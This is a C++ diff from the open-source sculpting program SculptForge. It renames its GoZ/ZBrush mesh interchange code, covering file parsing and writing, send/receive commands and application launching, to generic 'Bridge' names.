- std::string msg = "Opened Bridge file " + doc.gozName + " (" + meshSummary(doc.mesh) + ")";
+ doc.bridgeName = name;
+ std::string msg = "Opened Bridge file " + doc.bridgeName + " (" + meshSummary(doc.mesh) + ")";
if (!err.empty()) msg += "; " + err;
return {true, msg};
}});
- reg.add({"goz_export",
+ reg.add({"bridge_export",
"Export the mesh as a Bridge file with face groups, UVs, mask and vertex paint. With several "
"visible Parts, each is written next to `path` as <name>_<Part> with the same extension.",
{{"path", T::String, "Output Bridge file path (UTF-8).", true},
@@ -116,66 +116,66 @@ void registerGozCommands(CommandRegistry& reg) {
{"quads", T::Bool, "Rebuild quads from triangle pairs made by the Bridge file import. Default true.", false}},
[](Document& doc, const Args& a) -> CommandResult {
const std::string path = argString(a, "path");
- GozWriteOptions o;
+ BridgeWriteOptions o;
o.quads = argBool(a, "quads", true);
std::string err;
std::vector<int> indices;
- const auto objects = gozObjects(doc, indices);
- if (doc.subtoolCount() == 1 || objects.size() == 1) {
- const int i = objects.size() == 1 ? indices[0] : doc.activeSubtool;
- const std::string& goz = subtoolGozName(doc, i);
- const std::string name = argString(a, "name", goz.empty() ? fileStem(path) : goz);
- if (!saveGoz(path, doc.subtoolMesh(i), name, err, o)) return {false, err};
+ const auto objects = bridgeObjects(doc, indices);
+ if (doc.partCount() == 1 || objects.size() == 1) {
+ const int i = objects.size() == 1 ? indices[0] : doc.activePart;
+ const std::string& bridge = partBridgeName(doc, i);
+ const std::string name = argString(a, "name", bridge.empty() ? fileStem(path) : bridge);
+ if (!saveBridge(path, doc.partMesh(i), name, err, o)) return {false, err};
return {true, "Exported " + path};
}
if (objects.empty()) return {false, "Nothing visible to export"};
- // One file per SubTool beside `path`: <stem>_<object>.GoZ.
+ // One file per Part beside `path`: <stem>_<object>.<ext>.
const std::filesystem::path base(std::u8string(path.begin(), path.end()));
std::vector<std::string> used;
for (const auto& obj : objects) {
- std::string name = gozObjectName(obj.name);
+ std::string name = bridgeObjectName(obj.name);
const std::string wanted = name;
for (int k = 2; std::find(used.begin(), used.end(), name) != used.end(); ++k) name = wanted + "_" + std::to_string(k);
used.push_back(name);
- const std::string file = fileStem(path) + "_" + name + bridge::kExt;
+ const std::string file = fileStem(path) + "_" + name + bridgefile::kExt;
const auto out = (base.parent_path() / std::u8string(file.begin(), file.end())).u8string();
- if (!saveGoz(std::string(out.begin(), out.end()), *obj.mesh, name, err, o)) return {false, err};
+ if (!saveBridge(std::string(out.begin(), out.end()), *obj.mesh, name, err, o)) return {false, err};
}
- return {true, "Exported " + std::to_string(objects.size()) + " Parts as " + fileStem(path) + "_*" + bridge::kExt};
+ return {true, "Exported " + std::to_string(objects.size()) + " Parts as " + fileStem(path) + "_*" + bridgefile::kExt};
}});
- reg.add({"goz_send",
+ reg.add({"bridge_send",
"Send the visible Parts through the Bridge (Windows/macOS): writes each to the shared bridge folder, "
"lists them in its object list and notifies or starts the other application. Sending meshes received "
"through the Bridge updates those Parts.",
{{"name", T::String, "Part name (single Part only). Default: the name it came through the Bridge with, else the document name.", false},
{"folder", T::String, "Bridge folder. Default: the shared bridge folder of this system.", false},
{"launch", T::Bool, "Notify or start the other application. Default true.", false},
- {"zbrush", T::String, "The other application's executable, started if its notifier is missing (optional).", false}},
+ {"app", T::String, "The other application's executable, started if its notifier is missing (optional).", false}},
[](Document& doc, const Args& a) -> CommandResult {
- GozSendOptions o;
+ BridgeSendOptions o;
o.root = argString(a, "folder");
o.launch = argBool(a, "launch", true);
- o.zbrushPath = argString(a, "zbrush");
+ o.appPath = argString(a, "app");
std::string msg;
- if (doc.subtoolCount() == 1) {
+ if (doc.partCount() == 1) {
o.name = sendName(doc, a);
- const bool ok = gozSend(doc.mesh, o, msg);
- if (ok) doc.gozName = gozObjectName(o.name);
+ const bool ok = bridgeSend(doc.mesh, o, msg);
+ if (ok) doc.bridgeName = bridgeObjectName(o.name);
return {ok, msg};
}
std::vector<int> indices;
- auto objects = gozObjects(doc, indices);
+ auto objects = bridgeObjects(doc, indices);
if (objects.size() == 1 && a.contains("name")) objects[0].name = argString(a, "name");
std::vector<std::string> sent;
- const bool ok = gozSend(objects, o, msg, &sent);
- // Remember the names, so ZBrush's next send updates these SubTools.
+ const bool ok = bridgeSend(objects, o, msg, &sent);
+ // Remember the names, so next send updates these Parts.
if (ok)
- for (size_t k = 0; k < sent.size() && k < indices.size(); ++k) subtoolGozName(doc, indices[k]) = sent[k];
+ for (size_t k = 0; k < sent.size() && k < indices.size(); ++k) partBridgeName(doc, indices[k]) = sent[k];
return {ok, msg};
}});
- reg.add({"goz_receive",
+ reg.add({"bridge_receive",
"Receive what was last sent through the Bridge (the objects in its object list). Each object updates the "
"Part it was sent from (an undoable step on that Part), or becomes a new Part; a single object "
"replaces a scene of one Part that didn't come through the Bridge.",
@@ -183,7 +183,7 @@ void registerGozCommands(CommandRegistry& reg) {
[](Document& doc, const Args& a) -> CommandResult {
std::vector<MeshObject> objects;
std::string msg;
- if (!gozReceive(argString(a, "folder"), objects, msg)) return {false, msg};
+ if (!bridgeReceive(argString(a, "folder"), objects, msg)) return {false, msg};
receiveObjects(doc, objects, "Receive via Bridge", false);
return {true, msg};
}});
@@ -198,8 +198,8 @@ void registerGozCommands(CommandRegistry& reg) {
[](Document& doc, const Args& a) -> CommandResult {
const std::string path = argString(a, "path");
std::string err;
- Mesh merged; // no copy for a single SubTool
- const Mesh& mesh = doc.subtoolCount() == 1 ? doc.mesh : (merged = mergedVisibleMesh(doc));
+ Mesh merged; // no copy for a single Part
+ const Mesh& mesh = doc.partCount() == 1 ? doc.mesh : (merged = mergedVisibleMesh(doc));
StlExportOptions o;
o.heightMm = float(argNumber(a, "height_mm", 0.0));
o.scale = float(argNumber(a, "scale", 1000.0));
diff --git a/src/io/BridgeCommands.h b/src/io/BridgeCommands.h
new file mode 100644
index 00000000..575b868f
--- /dev/null
+++ b/src/io/BridgeCommands.h
@@ -0,0 +1,30 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Bridge commands: bridge_import, bridge_export, bridge_send,
+// bridge_receive and export_stl. Registered by CommandRegistry's constructor.
+#pragma once
+
+#include "core/Commands.h"
+#include "io/MeshObject.h"
+
+#include <string>
+#include <vector>
+
+namespace sf {
+
+void registerBridgeCommands(CommandRegistry& registry);
+
+// Shared with the Blender bridge (io/BlenderCommands.cpp):
+// The Bridge name of Part `i` (active or not): the object it came from (or Blender) or was sent as.
+std::string& partBridgeName(Document& doc, int i);
+// Visible Parts with triangles as objects to send: the Bridge name each came with, else its Part name.
+// `indices` receives the Part of each object.
+std::vector<MeshObjectRef> bridgeObjects(Document& doc, std::vector<int>& indices);
+// Puts received objects into the scene: each updates the Part with its Bridge name (an undoable `undoLabel` step
+// in that Part's history), the first one replaces a fresh scene (one Part that came from nowhere, renamed
+// after the object when `renameFresh` or several objects arrive), the others become new Parts. The active
+// Part stays selected.
+void receiveObjects(Document& doc, std::vector<MeshObject>& objects, const std::string& undoLabel, bool renameFresh);
+
+} // namespace sf
diff --git a/src/io/GozIO.cpp b/src/io/BridgeIO.cpp
similarity index 71%
rename from src/io/GozIO.cpp
rename to src/io/BridgeIO.cpp
index 6629ff02..1b99093e 100644
--- a/src/io/GozIO.cpp
+++ b/src/io/BridgeIO.cpp
@@ -1,10 +1,10 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// GoZ reader/writer and bridge. The format notes come from GoB, the GPL
+// Bridge reader/writer and bridge. The format notes come from GoB, the GPL
// Blender add-on (github.com/JoseConseco/GoB: gob_import.py, gob_export.py,
-// paths.py); integrations/bridge-plugin/PROTOCOL.md describes the layout.
-#include "io/GozIO.h"
+// paths.py); docs/bridge-format.md describes the layout.
+#include "io/BridgeIO.h"
#include "io/BridgeProtocol.h"
@@ -31,7 +31,7 @@ std::string pathUtf8(const fs::path& p) {
auto u = p.u8string();
return std::string(u.begin(), u.end());
}
-// GoZ text files use forward slashes on every platform (GoB writes them that way).
+// Bridge text files use forward slashes on every platform (GoB writes them that way).
std::string genericUtf8(const fs::path& p) {
auto u = p.generic_u8string();
return std::string(u.begin(), u.end());
@@ -44,22 +44,22 @@ constexpr uint32_t kTagVertices = 0x2711;
constexpr uint32_t kTagFaces = 0x4e21;
constexpr uint32_t kTagUvs = 0x61a9;
constexpr uint32_t kTagMask = 0x7532;
-constexpr uint32_t kTagPolypaint = 0x88b9;
-constexpr uint32_t kTagPolygroups = 0x9c41;
+constexpr uint32_t kTagVertexPaint = 0x88b9;
+constexpr uint32_t kTagFaceGroups = 0x9c41;
constexpr uint32_t kTagDiffuseMap = 0xafc9;
constexpr uint32_t kTagNormalMap = 0xc351;
constexpr uint32_t kTagDisplacementMap = 0xd6d9;
constexpr uint32_t kNoIndex = 0xffffffffu;
-using bridge::kHeader;
+using bridgefile::kHeader;
constexpr size_t kHeaderSize = 36; // the text, six '.' and the uint32 1 that tags the name record
-using bridge::kNamePrefix;
+using bridgefile::kNamePrefix;
-// ZBrush is Y-down; SculptForge (like OpenGL/glTF) is Y-up. GoB maps GoZ
+// the other application is Y-down; SculptForge (like OpenGL/glTF) is Y-up. GoB maps Bridge
// (x, y, z) to Blender (x, z, -y); in Y-up terms that is (x, -y, -z), a
// rotation (its own inverse) that keeps the winding.
-glm::vec3 fromZBrush(const glm::vec3& p) { return {p.x, -p.y, -p.z}; }
-glm::vec3 toZBrush(const glm::vec3& p) { return {p.x, -p.y, -p.z}; }
+glm::vec3 fromBridgeAxes(const glm::vec3& p) { return {p.x, -p.y, -p.z}; }
+glm::vec3 toBridgeAxes(const glm::vec3& p) { return {p.x, -p.y, -p.z}; }
class Reader {
public:
@@ -130,7 +130,7 @@ public:
}
};
-// A GoZ face: 4 indices, the fourth kNoIndex for triangles.
+// A Bridge face: 4 indices, the fourth kNoIndex for triangles.
struct Face {
uint32_t v[4];
bool quad() const { return v[3] != kNoIndex; }
@@ -146,7 +146,7 @@ std::string printable(const uint8_t* p, size_t n) {
} // namespace
-std::string gozObjectName(const std::string& name) {
+std::string bridgeObjectName(const std::string& name) {
std::string out;
for (char c : name) {
const bool ok = (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') || c == '_' || c == '-';
@@ -158,11 +158,11 @@ std::string gozObjectName(const std::string& name) {
return out.empty() ? "Object" : out;
}
-bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozInfo* info) {
- GozInfo local;
- GozInfo& gi = info ? *info : local;
- gi = GozInfo{};
- if (data.size() < kHeaderSize + 4 || std::memcmp(data.data(), bridge::kMagic, 4) != 0) {
+bool parseBridge(std::span<const uint8_t> data, Mesh& out, std::string& error, BridgeInfo* info) {
+ BridgeInfo local;
+ BridgeInfo& gi = info ? *info : local;
+ gi = BridgeInfo{};
+ if (data.size() < kHeaderSize + 4 || std::memcmp(data.data(), bridgefile::kMagic, 4) != 0) {
error = "Not a Bridge file (missing header)";
return false;
}
@@ -208,7 +208,7 @@ bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozI
const size_t n = records(12);
for (size_t i = 0; i < n; ++i) {
const uint8_t* p = payload + i * 12;
- positions.push_back(fromZBrush({readF32(p), readF32(p + 4), readF32(p + 8)}));
+ positions.push_back(fromBridgeAxes({readF32(p), readF32(p + 4), readF32(p + 8)}));
}
break;
}
@@ -225,12 +225,12 @@ bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozI
const size_t n = records(32);
for (size_t i = 0; i < n * 4; ++i) {
const uint8_t* p = payload + i * 8;
- // GoZ stores V downwards (GoB flips it by default both ways).
+ // Bridge stores V downwards (GoB flips it by default both ways).
faceUvs.push_back({readF32(p), 1.0f - readF32(p + 4)});
}
break;
}
- case kTagPolypaint: {
+ case kTagVertexPaint: {
const size_t n = records(4);
for (size_t i = 0; i < n; ++i) {
const uint8_t* p = payload + i * 4; // B, G, R, (alpha/unused), sRGB
@@ -243,7 +243,7 @@ bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozI
for (size_t i = 0; i < n; ++i) mask.push_back(1.0f - float(readU16(payload + i * 2)) / 65535.0f);
break;
}
- case kTagPolygroups: {
+ case kTagFaceGroups: {
const size_t n = records(2);
for (size_t i = 0; i < n; ++i) groups.push_back(readU16(payload + i * 2));
break;
@@ -295,7 +295,7 @@ bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozI
glm::uvec3 tri(f.v[tris[t][0]], f.v[tris[t][1]], f.v[tris[t][2]]);
if (tri.x == tri.y || tri.y == tri.z || tri.x == tri.z) continue;
m.triangles.push_back(tri);
- if (haveGroups) m.polygroups.push_back(groups[fi]);
+ if (haveGroups) m.facegroups.push_back(groups[fi]);
if (haveUvs)
for (int c = 0; c < 3; ++c) m.uvs.push_back(faceUvs[fi * 4 + size_t(tris[t][c])]);
}
@@ -316,27 +316,27 @@ bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozI
return true;
}
-std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const GozWriteOptions& options) {
- const std::string objName = gozObjectName(name);
+std::vector<uint8_t> writeBridge(const Mesh& mesh, const std::string& name, const BridgeWriteOptions& options) {
+ const std::string objName = bridgeObjectName(name);
const size_t nv = mesh.vertexCount(), nt = mesh.triangleCount();
const bool uvs = mesh.uvs.size() == nt * 3;
- const bool groups = mesh.polygroups.size() == nt;
+ const bool groups = mesh.facegroups.size() == nt;
// Faces (and their 4 UV corners), quads written back as quads.
std::vector<Face> faces;
std::vector<glm::vec2> faceUvs;
std::vector<uint16_t> faceGroups;
faces.reserve(nt);
- // GoZ polygroups are 16-bit. Truncating larger ids would merge unrelated groups,
+ // Bridge face groups are 16-bit. Truncating larger ids would merge unrelated groups,
// so when any id is too big, number the distinct ids 0, 1, 2... instead (only
// more than 65536 distinct groups still have to share ids).
std::vector<uint32_t> groupIds;
- if (groups && std::any_of(mesh.polygroups.begin(), mesh.polygroups.end(), [](uint32_t g) { return g > 0xffffu; })) {
- groupIds = mesh.polygroups;
+ if (groups && std::any_of(mesh.facegroups.begin(), mesh.facegroups.end(), [](uint32_t g) { return g > 0xffffu; })) {
+ groupIds = mesh.facegroups;
std::sort(groupIds.begin(), groupIds.end());
groupIds.erase(std::unique(groupIds.begin(), groupIds.end()), groupIds.end());
}
- auto gozGroup = [&](uint32_t g) {
+ auto bridgeGroup = [&](uint32_t g) {
if (groupIds.empty()) return uint16_t(g);
return uint16_t(size_t(std::lower_bound(groupIds.begin(), groupIds.end(), g) - groupIds.begin()) & 0xffffu);
};
@@ -348,7 +348,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
return mesh.uvs[tri * 3 + (tv.x == v ? 0 : tv.y == v ? 1 : 2)];
};
// A kept quad starting at `t` (exportFace(t) == 4) is written as one face unless a UV seam runs along its
- // diagonal (GoZ has one UV per face corner); then both halves are written as triangles.
+ // diagonal (Bridge has one UV per face corner); then both halves are written as triangles.
auto quadUvsMatch = [&](uint32_t t, const glm::uvec4& q) {
if (!uvs) return true;
const uint32_t u = mesh.quadPartnerAt(t);
@@ -377,7 +377,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
const glm::uvec3& b = mesh.triangles[t + 1];
const glm::vec2* ub = uvs ? &mesh.uvs[(t + 1) * 3] : nullptr;
paired = b.x == a.x && b.y == a.z && b.z != a.y && b.z != a.x && b.z != a.z &&
- (!groups || mesh.polygroups[t] == mesh.polygroups[t + 1]) &&
+ (!groups || mesh.facegroups[t] == mesh.facegroups[t + 1]) &&
(!uvs || (ub[0] == ua[0] && ub[1] == ua[2]));
if (paired) {
faces.push_back({{a.x, a.y, a.z, b.z}});
@@ -386,9 +386,9 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
}
if (!paired) {
faces.push_back({{a.x, a.y, a.z, kNoIndex}});
- if (uvs) faceUvs.insert(faceUvs.end(), {ua[0], ua[1], ua[2], glm::vec2(0.0f, 0.0f)}); // GoB pads with (0, 1) in GoZ space
+ if (uvs) faceUvs.insert(faceUvs.end(), {ua[0], ua[1], ua[2], glm::vec2(0.0f, 0.0f)}); // GoB pads with (0, 1) in Bridge space
}
- if (groups) faceGroups.push_back(gozGroup(mesh.polygroups[t]));
+ if (groups) faceGroups.push_back(bridgeGroup(mesh.facegroups[t]));
if (paired && !keptQuads) ++t;
}
@@ -408,7 +408,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
w.section(kTagVertices, nv * 12, nv);
for (const auto& p : mesh.positions) {
- glm::vec3 z = toZBrush(p);
+ glm::vec3 z = toBridgeAxes(p);
w.f32(z.x);
w.f32(z.y);
w.f32(z.z);
@@ -425,7 +425,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
}
if (mesh.colors.size() == nv) {
// GoB writes the count as uint32 + float 0 (same 8 bytes as a uint64).
- w.section(kTagPolypaint, nv * 4, nv);
+ w.section(kTagVertexPaint, nv * 4, nv);
for (const auto& c : mesh.colors) {
glm::vec3 s = glm::clamp(linearToSrgb(c), 0.0f, 1.0f) * 255.0f + 0.5f;
w.u8(uint8_t(s.z));
@@ -439,7 +439,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
for (float m : mesh.mask) w.u16(uint16_t((1.0f - std::clamp(m, 0.0f, 1.0f)) * 65535.0f + 0.5f));
}
if (groups) {
- w.section(kTagPolygroups, faceGroups.size() * 2, faceGroups.size());
+ w.section(kTagFaceGroups, faceGroups.size() * 2, faceGroups.size());
for (uint16_t g : faceGroups) w.u16(g);
}
if (!options.diffuseMap.empty()) { // as GoB writes texture paths: count 1, then the path
@@ -451,7 +451,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
return std::move(w.bytes);
}
-bool loadGoz(const std::string& path, Mesh& out, std::string& error, GozInfo* info) {
+bool loadBridge(const std::string& path, Mesh& out, std::string& error, BridgeInfo* info) {
std::ifstream f(utf8Path(path), std::ios::binary);
if (!f) {
error = "Cannot open " + path;
@@ -459,7 +459,7 @@ bool loadGoz(const std::string& path, Mesh& out, std::string& error, GozInfo* in
}
std::vector<uint8_t> data((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
std::string err;
- if (!parseGoz(data, out, err, info)) {
+ if (!parseBridge(data, out, err, info)) {
error = err + ": " + path;
return false;
}
@@ -467,13 +467,13 @@ bool loadGoz(const std::string& path, Mesh& out, std::string& error, GozInfo* in
return true;
}
-bool saveGoz(const std::string& path, const Mesh& mesh, const std::string& name, std::string& error,
- const GozWriteOptions& options) {
+bool saveBridge(const std::string& path, const Mesh& mesh, const std::string& name, std::string& error,
+ const BridgeWriteOptions& options) {
if (mesh.triangleCount() == 0) {
error = "Nothing to export: the mesh is empty";
return false;
}
- GozWriteOptions o = options;
+ BridgeWriteOptions o = options;
if (o.diffuseMap.empty() && hasTexture(mesh)) {
// The texture as <stem>_color.png beside the file, recorded as the diffuse map.
std::string png;
@@ -483,7 +483,7 @@ bool saveGoz(const std::string& path, const Mesh& mesh, const std::string& name,
const fs::path absolute = fs::absolute(utf8Path(png), ec);
o.diffuseMap = ec ? png : genericUtf8(absolute);
}
- std::vector<uint8_t> bytes = writeGoz(mesh, name, o);
+ std::vector<uint8_t> bytes = writeBridge(mesh, name, o);
std::ofstream f(utf8Path(path), std::ios::binary);
if (!f || !f.write(reinterpret_cast<const char*>(bytes.data()), std::streamsize(bytes.size()))) {
error = "Cannot write " + path;
@@ -526,15 +526,15 @@ bool launchDetached(const std::string& target) {
return std::system(cmd.c_str()) == 0;
}
-// Newest ZBrush in the default install locations (GoB's find_zbrush).
-std::string findZBrush() {
+// Newest install of the other application in the default install locations (as GoB finds it).
+std::string findOtherApp() {
std::error_code ec;
#ifdef _WIN32
- const auto& bases = bridge::kWinInstallDirs;
- const char* exe = bridge::kWinExe;
+ const auto& bases = bridgefile::kWinInstallDirs;
+ const char* exe = bridgefile::kWinExe;
#else
const char* const bases[] = {"/Applications"};
- const char* exe = bridge::kMacApp;
+ const char* exe = bridgefile::kMacApp;
#endif
std::vector<fs::path> found;
for (const auto& base : bases) {
@@ -542,8 +542,8 @@ std::string findZBrush() {
for (const auto& entry : fs::directory_iterator(base, ec)) {
std::string n = pathUtf8(entry.path().filename());
std::transform(n.begin(), n.end(), n.begin(), [](unsigned char c) { return char(std::tolower(c)); });
- if (n.find(bridge::kAppNameLower) == std::string::npos) continue;
- if (n == bridge::kMacAppLower) found.push_back(entry.path());
+ if (n.find(bridgefile::kAppNameLower) == std::string::npos) continue;
+ if (n == bridgefile::kMacAppLower) found.push_back(entry.path());
else if (fs::exists(entry.path() / exe, ec)) found.push_back(entry.path() / exe);
}
}
@@ -555,30 +555,30 @@ std::string findZBrush() {
} // namespace
-std::string gozDefaultRoot() {
+std::string bridgeDefaultRoot() {
#ifdef _WIN32
std::string pub = envUtf8(L"PUBLIC");
if (pub.empty()) pub = "C:\\Users\\Public";
- return pathUtf8(utf8Path(pub) / bridge::kVendorFolder);
+ return pathUtf8(utf8Path(pub) / bridgefile::kVendorFolder);
#elif defined(__APPLE__)
- return bridge::kMacRoot;
+ return bridgefile::kMacRoot;
#else
return {};
#endif
}
-std::string gozUnavailableMessage() {
+std::string bridgeUnavailableMessage() {
return "The Bridge's default folder exists only on Windows and macOS. Use Export / Import Bridge file to move "
"files by hand, or set a custom bridge folder (for example inside a Wine prefix).";
}
-void setGozApplicationPath(std::string executable) { g_appPath = std::move(executable); }
+void setBridgeApplicationPath(std::string executable) { g_appPath = std::move(executable); }
-std::string gozObjectListPath(const std::string& root) {
- return root.empty() ? std::string() : pathUtf8(utf8Path(root) / bridge::kInboxFolder / bridge::kObjectList);
+std::string bridgeObjectListPath(const std::string& root) {
+ return root.empty() ? std::string() : pathUtf8(utf8Path(root) / bridgefile::kInboxFolder / bridgefile::kObjectList);
}
-bool gozShellSafePath(const std::string& path) {
+bool bridgeShellSafePath(const std::string& path) {
for (unsigned char c : path) {
if (c < 0x20 || c == 0x7f || c == '"' || c == '$' || c == '`' || c == '%' || c == '!') return false;
#ifndef _WIN32
@@ -588,29 +588,29 @@ bool gozShellSafePath(const std::string& path) {
return true;
}
-bool gozSend(const Mesh& mesh, const GozSendOptions& o, std::string& message) {
- return gozSend(std::vector<MeshObjectRef>{{o.name.empty() ? "SculptForge" : o.name, &mesh}}, o, message);
+bool bridgeSend(const Mesh& mesh, const BridgeSendOptions& o, std::string& message) {
+ return bridgeSend(std::vector<MeshObjectRef>{{o.name.empty() ? "SculptForge" : o.name, &mesh}}, o, message);
}
-bool gozSend(const std::vector<MeshObjectRef>& objects, const GozSendOptions& o, std::string& message,
+bool bridgeSend(const std::vector<MeshObjectRef>& objects, const BridgeSendOptions& o, std::string& message,
std::vector<std::string>* sentNames) {
- const std::string root = o.root.empty() ? gozDefaultRoot() : o.root;
+ const std::string root = o.root.empty() ? bridgeDefaultRoot() : o.root;
if (root.empty()) {
- message = gozUnavailableMessage();
+ message = bridgeUnavailableMessage();
return false;
}
std::error_code ec;
if (o.launch) { // these paths reach the shell (launchDetached)
- if (!gozShellSafePath(root)) {
+ if (!bridgeShellSafePath(root)) {
message = "The bridge folder path contains characters that are not allowed when launching the other application";
return false;
}
- if (!o.zbrushPath.empty()) {
- std::string file = pathUtf8(utf8Path(o.zbrushPath).filename());
+ if (!o.appPath.empty()) {
+ std::string file = pathUtf8(utf8Path(o.appPath).filename());
std::transform(file.begin(), file.end(), file.begin(), [](unsigned char c) { return char(std::tolower(c)); });
- if (!gozShellSafePath(o.zbrushPath) || file.find(bridge::kAppNameLower) == std::string::npos ||
- !fs::exists(utf8Path(o.zbrushPath), ec)) {
- message = "Not the other application's executable: " + o.zbrushPath;
+ if (!bridgeShellSafePath(o.appPath) || file.find(bridgefile::kAppNameLower) == std::string::npos ||
+ !fs::exists(utf8Path(o.appPath), ec)) {
+ message = "Not the other application's executable: " + o.appPath;
return false;
}
}
@@ -625,39 +625,39 @@ bool gozSend(const std::vector<MeshObjectRef>& objects, const GozSendOptions& o,
return false;
}
const fs::path rootPath = utf8Path(root);
- const fs::path brush = rootPath / bridge::kInboxFolder;
- const fs::path project = rootPath / bridge::kProjectsFolder / "Default";
- const fs::path app = rootPath / bridge::kAppsFolder / "SculptForge";
+ const fs::path brush = rootPath / bridgefile::kInboxFolder;
+ const fs::path project = rootPath / bridgefile::kProjectsFolder / "Default";
+ const fs::path app = rootPath / bridgefile::kAppsFolder / "SculptForge";
for (const auto& d : {brush, project, app}) fs::create_directories(d, ec);
if (!fs::is_directory(project, ec)) {
message = "Cannot create the bridge folder " + pathUtf8(project);
return false;
}
- // One .GoZ per object (ZBrush makes each a SubTool), all listed in GoZ_ObjectList.txt.
+ // One Bridge per object (makes each a Part), all listed in Bridge_ObjectList.txt.
std::vector<std::string> names;
std::string list;
bool ok = true;
for (const auto& obj : objects) {
- const std::string wanted = gozObjectName(obj.name.empty() ? "SculptForge" : obj.name);
+ const std::string wanted = bridgeObjectName(obj.name.empty() ? "SculptForge" : obj.name);
std::string name = wanted;
for (int k = 2; std::find(names.begin(), names.end(), name) != names.end(); ++k) name = wanted + "_" + std::to_string(k);
names.push_back(name);
- // Object paths are written without the .GoZ extension, ZBrush appends it.
+ // Object paths are written without the Bridge extension, the other application appends it.
const std::string base = genericUtf8(project / name);
std::string err;
- if (!saveGoz(pathUtf8(project / (name + bridge::kExt)), *obj.mesh, name, err)) {
+ if (!saveBridge(pathUtf8(project / (name + bridgefile::kExt)), *obj.mesh, name, err)) {
message = err;
return false;
}
ok = ok && writeText(project / (name + ".ztn"), base);
list += base + "\n";
}
- ok = ok && writeText(brush / bridge::kObjectList, list) && writeText(brush / bridge::kApplicationFile, "SculptForge") &&
- writeText(brush / bridge::kProjectPathFile, genericUtf8(project) + "/");
- // Register SculptForge in ZBrush's GoZ application list.
- if (!fs::exists(app / bridge::kInfoFile, ec)) ok = ok && writeText(app / bridge::kInfoFile, bridge::kInfoText);
+ ok = ok && writeText(brush / bridgefile::kObjectList, list) && writeText(brush / bridgefile::kApplicationFile, "SculptForge") &&
+ writeText(brush / bridgefile::kProjectPathFile, genericUtf8(project) + "/");
+ // Register SculptForge Bridge application list.
+ if (!fs::exists(app / bridgefile::kInfoFile, ec)) ok = ok && writeText(app / bridgefile::kInfoFile, bridgefile::kInfoText);
if (!g_appPath.empty())
- ok = ok && writeText(app / bridge::kConfigFile, "PATH = \"" + genericUtf8(utf8Path(g_appPath)) + "\"");
+ ok = ok && writeText(app / bridgefile::kConfigFile, "PATH = \"" + genericUtf8(utf8Path(g_appPath)) + "\"");
if (!ok) {
message = "Cannot write the bridge files in " + root;
return false;
@@ -667,12 +667,12 @@ bool gozSend(const std::vector<MeshObjectRef>& objects, const GozSendOptions& o,
if (sentNames) *sentNames = names;
if (!o.launch) return true;
- // Official GoZ plug-ins notify a running ZBrush with GoZBrushFromApp; GoB
- // starts ZBrush itself. Do the first, fall back to the second.
+ // Official Bridge plug-ins notify the running application with its notifier; GoB
+ // starts the application itself. Do the first, fall back to the second.
#ifdef _WIN32
- const fs::path notifier = brush / bridge::kNotifierWin;
+ const fs::path notifier = brush / bridgefile::kNotifierWin;
#else
- const fs::path notifier = brush / bridge::kNotifierMac;
+ const fs::path notifier = brush / bridgefile::kNotifierMac;
#endif
#if defined(_WIN32) || defined(__APPLE__)
if (fs::exists(notifier, ec)) {
@@ -680,15 +680,15 @@ bool gozSend(const std::vector<MeshObjectRef>& objects, const GozSendOptions& o,
message += "; the other application was notified";
return true;
}
- const std::string zbrush = o.zbrushPath.empty() ? findZBrush() : o.zbrushPath;
- if (!zbrush.empty() && launchDetached(zbrush)) {
- message += "; started " + zbrush + " (import from the bridge there)";
+ const std::string app = o.appPath.empty() ? findOtherApp() : o.appPath;
+ if (!app.empty() && launchDetached(app)) {
+ message += "; started " + app + " (import from the bridge there)";
return true;
}
message += "; the other application was not found (set it up once: Help > User Guide > Exporting, Bridge)";
#else
(void)notifier;
- message += "; " + gozUnavailableMessage();
+ message += "; " + bridgeUnavailableMessage();
#endif
return true;
}
@@ -714,21 +714,21 @@ void appendMesh(Mesh& dst, const Mesh& src) {
for (const auto& t : src.triangles) dst.triangles.push_back(t + glm::uvec3(off));
appendAttribute(dst.mask, dv, src.mask, sv, 0.0f);
appendAttribute(dst.colors, dv, src.colors, sv, glm::vec3(1.0f));
- appendAttribute(dst.polygroups, dt, src.polygroups, st, 0u);
+ appendAttribute(dst.facegroups, dt, src.facegroups, st, 0u);
appendAttribute(dst.uvs, dt * 3, src.uvs, st * 3, glm::vec2(0.0f));
}
} // namespace
-bool gozReceive(const std::string& rootIn, std::vector<MeshObject>& out, std::string& message) {
- const std::string root = rootIn.empty() ? gozDefaultRoot() : rootIn;
+bool bridgeReceive(const std::string& rootIn, std::vector<MeshObject>& out, std::string& message) {
+ const std::string root = rootIn.empty() ? bridgeDefaultRoot() : rootIn;
if (root.empty()) {
- message = gozUnavailableMessage();
+ message = bridgeUnavailableMessage();
return false;
}
- std::ifstream list(utf8Path(gozObjectListPath(root)), std::ios::binary);
+ std::ifstream list(utf8Path(bridgeObjectListPath(root)), std::ios::binary);
if (!list) {
- message = "Nothing to receive: " + gozObjectListPath(root) + " does not exist (send from the other application first)";
+ message = "Nothing to receive: " + bridgeObjectListPath(root) + " does not exist (send from the other application first)";
return false;
}
std::vector<MeshObject> loaded;
@@ -739,11 +739,11 @@ bool gozReceive(const std::string& rootIn, std::vector<MeshObject>& out, std::st
std::string path = line;
std::string lower = path;
